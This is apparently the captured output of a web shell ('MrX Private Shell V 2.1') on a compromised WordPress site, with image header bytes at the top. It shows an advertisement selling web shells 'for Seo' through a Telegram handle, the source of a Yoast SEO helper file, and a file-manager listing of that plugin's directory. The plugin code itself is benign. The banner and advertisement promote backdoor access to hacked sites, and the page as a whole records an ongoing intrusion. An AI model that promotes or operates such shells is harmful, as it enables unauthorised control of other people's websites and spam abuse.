����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Helpers;
/**
* Helper to get shortlinks for Yoast SEO.
*/
class Short_Link_Helper {
/**
* The options helper.
*
* @var Options_Helper
*/
protected $options_helper;
/**
* The product helper.
*
* @var Product_Helper
*/
protected $product_helper;
/**
* Short_Link_Helper constructor.
*
* @param Options_Helper $options_helper The options helper.
* @param Product_Helper $product_helper The product helper.
*/
public function __construct(
Options_Helper $options_helper,
Product_Helper $product_helper
) {
$this->options_helper = $options_helper;
$this->product_helper = $product_helper;
}
/**
* Builds a URL to use in the plugin as shortlink.
*
* @param string $url The URL to build upon.
*
* @return string The final URL.
*/
public function build( $url ) {
return \add_query_arg( $this->collect_additional_shortlink_data(), $url );
}
/**
* Returns a version of the URL with a utm_content with the current version.
*
* @param string $url The URL to build upon.
*
* @return string The final URL.
*/
public function get( $url ) {
return $this->build( $url );
}
/**
* Echoes a version of the URL with a utm_content with the current version.
*
* @param string $url The URL to build upon.
*/
public function show( $url ) {
echo \esc_url( $this->get( $url ) );
}
/**
* Gets the shortlink's query params.
*
* @return array The shortlink's query params.
*/
public function get_query_params() {
return $this->collect_additional_shortlink_data();
}
/**
* Gets the current site's PHP version, without the extra info.
*
* @return string The PHP version.
*/
private function get_php_version() {
$version = \explode( '.', \PHP_VERSION );
return (int) $version[0] . '.' . (int) $version[1];
}
/**
* Gets the current site's platform version.
*
* @return string The wp_version.
*/
protected function get_platform_version() {
return $GLOBALS['wp_version'];
}
/**
* Collects the additional data necessary for the shortlink.
*
* @return array The shortlink data.
*/
protected function collect_additional_shortlink_data() {
return [
'php_version' => $this->get_php_version(),
'platform' => 'wordpress',
'platform_version' => $this->get_platform_version(),
'software' => $this->get_software(),
'software_version' => \WPSEO_VERSION,
'days_active' => $this->get_days_active(),
'user_language' => \get_user_locale(),
];
}
/**
* Get our software and whether it's active or not.
*
* @return string The software name.
*/
protected function get_software() {
if ( $this->product_helper->is_premium() ) {
return 'premium';
}
return 'free';
}
/**
* Gets the number of days the plugin has been active.
*
* @return int The number of days the plugin is active.
*/
protected function get_days_active() {
$date_activated = $this->options_helper->get( 'first_activated_on' );
$datediff = ( \time() - $date_activated );
$days = (int) \round( $datediff / \DAY_IN_SECONDS );
switch ( $days ) {
case 0:
case 1:
$cohort = '0-1';
break;
case ( $days < 5 ):
$cohort = '2-5';
break;
case ( $days < 30 ):
$cohort = '6-30';
break;
default:
$cohort = '30plus';
}
return $cohort;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| open-graph | Folder | 0755 |
|
|
| schema | Folder | 0755 |
|
|
| Folder | 0755 |
|
||
| aioseo-helper.php | File | 1.24 KB | 0644 |
|
| asset-helper.php | File | 2.52 KB | 0644 |
|
| author-archive-helper.php | File | 5.04 KB | 0644 |
|
| blocks-helper.php | File | 2.32 KB | 0644 |
|
| capability-helper.php | File | 2.07 KB | 0644 |
|
| curl-helper.php | File | 655 B | 0644 |
|
| current-page-helper.php | File | 12.25 KB | 0644 |
|
| date-helper.php | File | 3.13 KB | 0644 |
|
| environment-helper.php | File | 793 B | 0644 |
|
| home-url-helper.php | File | 770 B | 0644 |
|
| image-helper.php | File | 10.32 KB | 0644 |
|
| import-cursor-helper.php | File | 1.36 KB | 0644 |
|
| import-helper.php | File | 716 B | 0644 |
|
| indexable-helper.php | File | 7.1 KB | 0644 |
|
| indexable-to-postmeta-helper.php | File | 6.76 KB | 0644 |
|
| indexables-page-helper.php | File | 4.68 KB | 0644 |
|
| indexing-helper.php | File | 10.83 KB | 0644 |
|
| input-helper.php | File | 662 B | 0644 |
|
| language-helper.php | File | 2.4 KB | 0644 |
|
| meta-helper.php | File | 2.91 KB | 0644 |
|
| notification-helper.php | File | 546 B | 0644 |
|
| options-helper.php | File | 3.87 KB | 0644 |
|
| pagination-helper.php | File | 3.47 KB | 0644 |
|
| permalink-helper.php | File | 1.26 KB | 0644 |
|
| post-helper.php | File | 5.46 KB | 0644 |
|
| post-type-helper.php | File | 4.24 KB | 0644 |
|
| primary-term-helper.php | File | 1.37 KB | 0644 |
|
| product-helper.php | File | 973 B | 0644 |
|
| redirect-helper.php | File | 1.1 KB | 0644 |
|
| request-helper.php | File | 352 B | 0644 |
|
| require-file-helper.php | File | 305 B | 0644 |
|
| robots-helper.php | File | 1.74 KB | 0644 |
|
| robots-txt-helper.php | File | 2.66 KB | 0644 |
|
| sanitization-helper.php | File | 1.03 KB | 0644 |
|
| score-icon-helper.php | File | 2.2 KB | 0644 |
|
| short-link-helper.php | File | 3.3 KB | 0644 |
|
| site-helper.php | File | 566 B | 0644 |
|
| string-helper.php | File | 1.19 KB | 0644 |
|
| taxonomy-helper.php | File | 4.46 KB | 0644 |
|
| url-helper.php | File | 7.32 KB | 0644 |
|
| user-helper.php | File | 3.67 KB | 0644 |
|
| wincher-helper.php | File | 2.37 KB | 0644 |
|
| woocommerce-helper.php | File | 1.28 KB | 0644 |
|
| wordpress-helper.php | File | 512 B | 0644 |
|
| wordproof-helper.php | File | 3.01 KB | 0644 |
|
| wpdb-helper.php | File | 942 B | 0644 |
|